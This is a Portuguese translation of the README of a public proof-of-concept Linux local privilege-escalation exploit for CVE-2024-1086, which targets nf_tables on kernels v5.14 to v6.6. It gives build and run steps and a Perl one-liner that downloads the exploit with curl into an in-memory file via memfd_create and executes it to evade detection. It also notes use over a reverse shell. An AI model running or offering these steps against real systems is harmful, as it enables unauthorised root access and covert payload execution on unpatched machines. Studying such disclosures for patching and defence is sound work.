
Exploit universal de escalonamento de privilégio local para CVE-2024-1086 visando kernels Linux v5.14 a v6.6, com alta taxa de sucesso e suporte a execução sem arquivo.
Exploit universal de escalonamento de privilégio local como Prova de Conceito para CVE-2024-1086, funcionando na maioria dos kernels Linux entre v5.14 e v6.6, incluindo Debian, Ubuntu e KernelCTF. A taxa de sucesso é de 99,4% nas imagens do KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Uma análise completa do exploit – incluindo informações de contexto e muitos diagramas úteis – pode ser encontrada na postagem do Flipping Pages.
O exploit afeta versões desde (inclusive) v5.14 até (inclusive) v6.6, excluindo os ramos corrigidos v5.15.149>, v6.1.76>, v6.6.15>. O patch para essas versões foi lançado em fevereiro de 2024. A vulnerabilidade subjacente afeta todas as versões (excluindo ramos estáveis corrigidos) desde v3.15 até v6.8-rc1.
Ressalvas:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluindo Ubuntu v6.5).CONFIG_USER_NS=y), que esses namespaces de usuário sejam não privilegiados (comando sh sysctl kernel.unprivileged_userns_clone = 1) e que nf_tables esteja habilitado (kconfig CONFIG_NF_TABLES=y). Por padrão, todos estão habilitados no Debian, Ubuntu e KernelCTF. Outras distribuições não foram testadas, mas podem funcionar também. Além disso, o exploit foi testado apenas em x64/amd64.Os valores padrão devem funcionar imediatamente no Debian, Ubuntu e KernelCTF com um shell local. Em configurações/distribuições não testadas, certifique-se de que os valores do kconfig correspondam ao kernel alvo. Eles podem ser especificados em src/config.h. Se você estiver executando o exploit em uma máquina com mais de 32 GiB de memória física, certifique-se de aumentar CONFIG_PHYS_MEM.
Se você estiver executando o exploit via SSH (na máquina de teste) ou um shell reverso, talvez queira alternar CONFIG_REDIRECT_LOG para 1 para evitar atividade de rede desnecessária.
Se isso for impraticável para você, há um binário x64 compilado com a configuração padrão.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binário: CVE-2024-1086/exploit
Executar o exploit é igualmente trivial:
./exploit
A execução sem arquivo também é suportada, em casos de pentest onde é necessário evitar detecções. No entanto, o Perl precisa estar instalado no alvo:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Os programas e scripts ("programas") neste diretório/pasta/repositório de software ("repositório") são publicados, desenvolvidos e distribuídos apenas para fins educacionais/de pesquisa. Eu ("o criador") não apoio nenhum uso malicioso ou ilegal dos programas neste repositório, pois a intenção é compartilhar pesquisa e não realizar atividades ilegais com ele. Não sou legalmente responsável por nada que você faça com os programas neste repositório.